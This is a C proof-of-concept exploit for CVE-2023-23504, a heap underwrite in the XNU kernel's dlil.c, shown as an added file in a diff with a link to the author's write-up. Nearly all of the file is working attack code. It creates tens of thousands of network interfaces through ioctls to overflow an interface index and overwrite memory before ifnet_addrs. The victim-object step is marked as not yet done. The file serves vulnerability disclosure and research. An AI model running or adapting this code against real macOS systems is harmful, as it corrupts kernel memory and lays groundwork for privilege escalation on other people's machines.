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CVE-2023-23504/CVE-2023-23504.c
| 1 | + | #include <stddef.h> |
| 2 | + | #include <sys/socket.h> |
| 3 | + | #include <netinet/in.h> |
| 4 | + | #include <stdio.h> |
| 5 | + | #include <unistd.h> |
| 6 | + | #include <string.h> |
| 7 | + | #include <stdlib.h> |
| 8 | + | #include <sys/ioctl.h> |
| 9 | + | #include <fcntl.h> |
| 10 | + | #include <arpa/inet.h> |
| 11 | + | #include <signal.h> |
| 12 | + | #include <stdbool.h> |
| 13 | + | |
| 14 | + | #include <mach/mach.h> |
| 15 | + | #include <mach/mach_traps.h> |
| 16 | + | #include <net/if.h> |
| 17 | + | |
| 18 | + | /* |
| 19 | + | |
| 20 | + | Author: Adam Doupe (adamd) |
| 21 | + | POC for CVE-2023-23504: a kernel heap underwrite in dlil.c in XNU. |
| 22 | + | Writeup: https://adamdoupe.com/blog/2023/01/23/cve-2023-23504-xnu-heap-underwrite-in-dlil-dot-c/ |
| 23 | + | |
| 24 | + | */ |
| 25 | + | |
| 26 | + | |
| 27 | + | #define VLAN_PREFIX "vlan" |
| 28 | + | #define BRIDGE_PREFIX "bridge" |
| 29 | + | #define FETH_PREFIX "feth" |
| 30 | + | #define GIF_PREFIX "gif" |
| 31 | + | |
| 32 | + | #define OVERFLOW_TARGET 0x10000 |
| 33 | + | |
| 34 | + | #define DEBUG 0 |
| 35 | + | |
| 36 | + | const int IF_MAXUNIT = 0x7fff; |
| 37 | + | |
| 38 | + | const int TOTAL_GOAL_INTERFACE_NUMBERS = 0x10000; // If we allocate this many, the next will overflow |
| 39 | + | |
| 40 | + | const int STEP_1_GOAL_INTERFACE_NUMBERS = TOTAL_GOAL_INTERFACE_NUMBERS / 2; // the next if allocate will trigger the final memory allocation |
| 41 | + | |
| 42 | + | int sockfd = -1; |
| 43 | + | |
| 44 | + | int execute_command_get_int_output(char* cmd) |
| 45 | + | { |
| 46 | + | char* to_execute = NULL; |
| 47 | + | asprintf(&to_execute, "%s > /tmp/test.adamd", cmd); |
| 48 | + | if (to_execute == NULL) |
| 49 | + | { |
| 50 | + | perror("asprintf"); |
| 51 | + | exit(-1); |
| 52 | + | } |
| 53 | + | system(to_execute); |
| 54 | + | free(to_execute); |
| 55 | + | |
| 56 | + | int fd = open("/tmp/test.adamd", O_RDONLY); |
| 57 | + | if (fd == -1) |
| 58 | + | { |
| 59 | + | perror("open"); |
| 60 | + | exit(-1); |
| 61 | + | } |
| 62 | + | |
| 63 | + | char buf[4096]; |
| 64 | + | read(fd, buf, 4096); |
| 65 | + | buf[4095] = '\0'; |
| 66 | + | |
| 67 | + | int result = atoi(buf); |
| 68 | + | |
| 69 | + | close(fd); |
| 70 | + | system("/bin/rm /tmp/test.adamd"); |
| 71 | + | |
| 72 | + | return result; |
| 73 | + | } |
| 74 | + | |
| 75 | + | void create_interfaces(char* prefix, int prefix_to_use, int num_interfaces, bool keep_interfaces) |
| 76 | + | { |
| 77 | + | |
| 78 | + | int prefix_id = prefix_to_use; |
| 79 | + | |
| 80 | + | if (sockfd == -1) |
| 81 | + | { |
| 82 | + | sockfd = socket(PF_INET, SOCK_STREAM, 0); |
| 83 | + | if (sockfd == -1) |
| 84 | + | { |
| 85 | + | perror("socket"); |
| 86 | + | exit(-1); |
| 87 | + | } |
| 88 | + | } |
| 89 | + | |
| 90 | + | for (int i = 0; i < num_interfaces; i++) |
| 91 | + | { |
| 92 | + | struct ifreq ifr = { 0 |
| 93 | + | }; |
| 94 | + | |
| 95 | + | sprintf(ifr.ifr_name, "%s%d", prefix, prefix_id); |
| 96 | + | |
| 97 | + | int ret = ioctl(sockfd, SIOCIFCREATE, &ifr); |
| 98 | + | if (ret != 0) |
| 99 | + | { |
| 100 | + | perror("ioctl SIOCIFCREATE"); |
| 101 | + | exit(-1); |
| 102 | + | } |
| 103 | + | |
| 104 | + | memset(&ifr, 0, sizeof(ifr)); |
| 105 | + | sprintf(ifr.ifr_name, "%s%d", prefix, prefix_id); |
| 106 | + | |
| 107 | + | // now destroy it, for speed |
| 108 | + | if (!keep_interfaces) |
| 109 | + | { |
| 110 | + | ret = ioctl(sockfd, SIOCIFDESTROY, &ifr); |
| 111 | + | if (ret != 0) |
| 112 | + | { |
| 113 | + | perror("ioctl SIOCIFDESTROY"); |
| 114 | + | exit(-1); |
| 115 | + | } |
| 116 | + | } |
| 117 | + | |
| 118 | + | prefix_id += 1; |
| 119 | + | |
| 120 | + | if ((i % 100) == 0) |
| 121 | + | { |
| 122 | + | printf("Created %s %d\n", ifr.ifr_name, i); |
| 123 | + | } |
| 124 | + | } |
| 125 | + | } |
| 126 | + | |
| 127 | + | |
| 128 | + | // 1. Allocate interfaces right before the last allocation that triggers a kalloc of the ifnet_addrs. |
| 129 | + | void step_1() |
| 130 | + | { |
| 131 | + | // ifnet_addrs and ifindex2ifnet are both allocated after interfaces reaches 8+1, 16+1, 32+1, ... |
| 132 | + | |
| 133 | + | char* cmd = "/usr/sbin/sysctl -A | /usr/bin/grep ifcount | /usr/bin/cut -d':' -f2 | /usr/bin/xargs"; |
| 134 | + | int current_interfaces = execute_command_get_int_output(cmd); |
| 135 | + | |
| 136 | + | printf("current_interfaces: %d\n", current_interfaces); |
| 137 | + | |
| 138 | + | // Given the goal_interface_numbers and the limit, should be able to just do one allocation of a type that isn't used yet. |
| 139 | + | |
| 140 | + | // For no reason at all, let's use vlan, which is probably not used at all |
| 141 | + | |
| 142 | + | int needed_interfaces = STEP_1_GOAL_INTERFACE_NUMBERS - current_interfaces; |
| 143 | + | |
| 144 | + | printf("Going to create %d more interfaces\n", needed_interfaces); |
| 145 | + | |
| 146 | + | create_interfaces(VLAN_PREFIX, 0, needed_interfaces, false); |
| 147 | + | |
| 148 | + | printf("Step 1 complete!\n"); |
| 149 | + | } |
| 150 | + | |
| 151 | + | int target_feth_idx = 0; |
| 152 | + | |
| 153 | + | // 3. Allocate the next interface, which should cause the allocation |
| 154 | + | // of ifnet_addrs. It should be right after what we did in step_2. |
| 155 | + | void step_3() |
| 156 | + | { |
| 157 | + | printf("Starting step 3\n"); |
| 158 | + | |
| 159 | + | const int bridge_interfaces = 0x100; |
| 160 | + | |
| 161 | + | create_interfaces(BRIDGE_PREFIX, 100, bridge_interfaces, false); |
| 162 | + | |
| 163 | + | int needed_interfaces = TOTAL_GOAL_INTERFACE_NUMBERS - STEP_1_GOAL_INTERFACE_NUMBERS - bridge_interfaces; |
| 164 | + | |
| 165 | + | printf("Creating the rest of the %d feth interfaces needed\n", needed_interfaces); |
| 166 | + | create_interfaces(FETH_PREFIX, 0, needed_interfaces-1, false); |
| 167 | + | |
| 168 | + | create_interfaces(FETH_PREFIX, needed_interfaces-1, 1, true); |
| 169 | + | |
| 170 | + | // this should be the feth that was created |
| 171 | + | target_feth_idx = needed_interfaces - 1; |
| 172 | + | |
| 173 | + | printf("target interface: feth%d\n", target_feth_idx); |
| 174 | + | |
| 175 | + | printf("Step 3 complete\n"); |
| 176 | + | } |
| 177 | + | |
| 178 | + | |
| 179 | + | |
| 180 | + | int main(int argc, char** argv) |
| 181 | + | { |
| 182 | + | step_1(); |
| 183 | + | // step 2 would be to allocate the victim object that we want to overwrite, but I haven't done it yet on 12.6 |
| 184 | + | step_3(); |
| 185 | + | |
| 186 | + | printf("If we made it here, we did not crash, so something was before ifnet_addrs and was overwritten\n"); |
| 187 | + | printf("ifnet_addrs[-1] should have been overwritten with a pointer\n"); |
| 188 | + | |
| 189 | + | return 0; |
| 190 | + | } |
| 191 | + | |
| 192 | + | |